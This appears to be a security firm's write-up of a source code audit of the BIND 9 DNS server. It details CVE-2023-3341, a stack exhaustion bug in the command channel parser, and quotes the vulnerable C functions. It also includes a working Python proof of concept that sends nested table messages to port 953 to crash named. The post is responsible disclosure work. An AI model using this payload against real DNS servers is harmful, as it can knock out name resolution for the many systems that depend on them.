Security Audit of ISC BIND 9

ISC tasked X41 with a security source code audit of the popular BIND 9 DNS server. Despite the maturity of this hardened code base, X41 was able to identify several security issues with limited impact. Overall the technical mitigations were effective to limit the impact or even prevent the occurrence of typical vulnerability classes that can affect C code.

The full report of this audit can be found here:

Audit Results

Our security source code audit identified two medium and six low security issues. A high number (23) of informal findings were identified as well.

BIND 9 is a very flexible, full-featured DNS system used both as an authoritative DNS server and a recursive resolver. Additionally, tools from the BIND 9 suite are shipped with many Unix distributions.
Attackers could try to abuse implementation-specific issues to gain RCE on the server. Logic bugs might be used for DoS attacks, which attackers could leverage to prevent access to a wide range of systems by disrupting name resolution.

The source code of BIND 9 was inspected for vulnerabilities by security experts Eric Sesterhenn and Markus Vervier (X41) using manual code review, code analysis tools, and custom fuzzing efforts. With a focus on the core components written in C, running on 64-bit Linux systems.

The most severe issue discovered allows an attacker to crash the named DNS server on some setups by sending maliciously formatted data to the command channel, which will exhaust the available stack memory when parsed. This can be triggered pre-authentication but installations might protect that service using network level access control.
This issue was assigned CVE-2023-3341.

CVE-2023-3341: Stack Exhaustion in Command Channel

The command channel library libisccc parses the full TCP packet before performing the actual authentication. The packet is structured into binary data, tables and lists. By structuring the packet maliciously, repeated recursive calls to value_fromwire() and table_fromwire() can be triggered.

static isc_result_t
value_fromwire(isccc_region_t *source, isccc_sexpr_t **valuep) {
        unsigned int msgtype;
        uint32_t len;
        isccc_sexpr_t *value;
        isccc_region_t active;
        isc_result_t result;

        if (REGION_SIZE(*source) < 1 + 4) {
                return (ISC_R_UNEXPECTEDEND);
        }
        GET8(msgtype, source->rstart);
        GET32(len, source->rstart);
        if (REGION_SIZE(*source) < len) {
                return (ISC_R_UNEXPECTEDEND);
        }
        active.rstart = source->rstart;
        active.rend = active.rstart + len;
        source->rstart = active.rend;
        if (msgtype == ISCCC_CCMSGTYPE_BINARYDATA) {
                value = isccc_sexpr_frombinary(&active);
                if (value != NULL) {
                        *valuep = value;
                        result = ISC_R_SUCCESS;
                } else {
                        result = ISC_R_NOMEMORY;
                }
        } else if (msgtype == ISCCC_CCMSGTYPE_TABLE) {
                result = table_fromwire(&active, NULL, 0, valuep);
        } else if (msgtype == ISCCC_CCMSGTYPE_LIST) {
                result = list_fromwire(&active, valuep);
        } else {
                result = ISCCC_R_SYNTAX;
        }

        return (result);
}

static isc_result_t
table_fromwire(isccc_region_t *source, isccc_region_t *secret,
               uint32_t algorithm, isccc_sexpr_t **alistp) {
        char key[256];
        uint32_t len;
        isc_result_t result;
        isccc_sexpr_t *alist, *value;
        bool first_tag;
        unsigned char *checksum_rstart;

        REQUIRE(alistp != NULL && *alistp == NULL);

        checksum_rstart = NULL;
        first_tag = true;
        alist = isccc_alist_create();
        if (alist == NULL) {
                return (ISC_R_NOMEMORY);
        }

        while (!REGION_EMPTY(*source)) {
                GET8(len, source->rstart);
                if (REGION_SIZE(*source) < len) {
                        result = ISC_R_UNEXPECTEDEND;
                        goto bad;
                }
                GET_MEM(key, len, source->rstart);
                key[len] = '\0'; /* Ensure NUL termination. */
                value = NULL;
                result = value_fromwire(source, &value);
                if (result != ISC_R_SUCCESS) {
                        goto bad;
                }
...

On the test machine, each iteration between two calls to table_fromwire() required 432 bytes of stack memory. If enough calls can be triggered, this might lead to exhaustion of the available stack memory and cause a segmentation fault. The amount of iterative calls is limited by the parameter to isccc_ccmsg_setmaxsize() which is 32768 for BIND named. This is not enough to exhaust the 8MB of process stack usually configured on Linux-based systems. It can be triggered on Microsoft Windows systems where the stack size is 1MB by default. Systems where ulimit is used to restrict stack usage are affected as well. BIND 9.18 on FreeBSD is also affected by this.

The issue can be triggered by sending the maliciously formatted data to the rdnc port:

import socket

HOST = "127.0.0.1"
PORT = 953

depth = 4500
# should not be more than isccc_ccmsg_setmaxsize(&conn->ccmsg, 32768);
total_len = 10 + (depth * 7) - 6

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        data = b''.join([
                total_len.to_bytes(4, 'big'),   # <total lenght>
                b'\x00\x00\x00\x01',            # <version>
                b'\x01\x41',                    # <size><name>
        ])

        for i in range(depth, 0, -1):
                l = (i - 1) * 7
                t = b''.join([
                b'\x02',                        # ISCCC_CCMSGTYPE_TABLE
                l.to_bytes(4, 'big'),           # <size>
                        b'\x01\x41',            # <size><name>
                ])
                data = b''.join([data, t])

        s.connect((HOST, PORT))
        s.sendall(data)

Conclusion

In conclusion, the quality of the source code is far above average in comparison with projects of a similar size. While vulnerabilities were found during this audit, the code has been hardened and could serve as an example on how to develop C code with security in mind. X41 attributes the usage of safe patterns for concurrency and safe memory access to be a main contributing factor in elimination or at least reduction of the occurrence of certain bug classes related to unsafe memory operations. In particular, the pattern of dedicated security minded assertions to limit or prevent the impact of vulnerabilities seems to prove itself effective.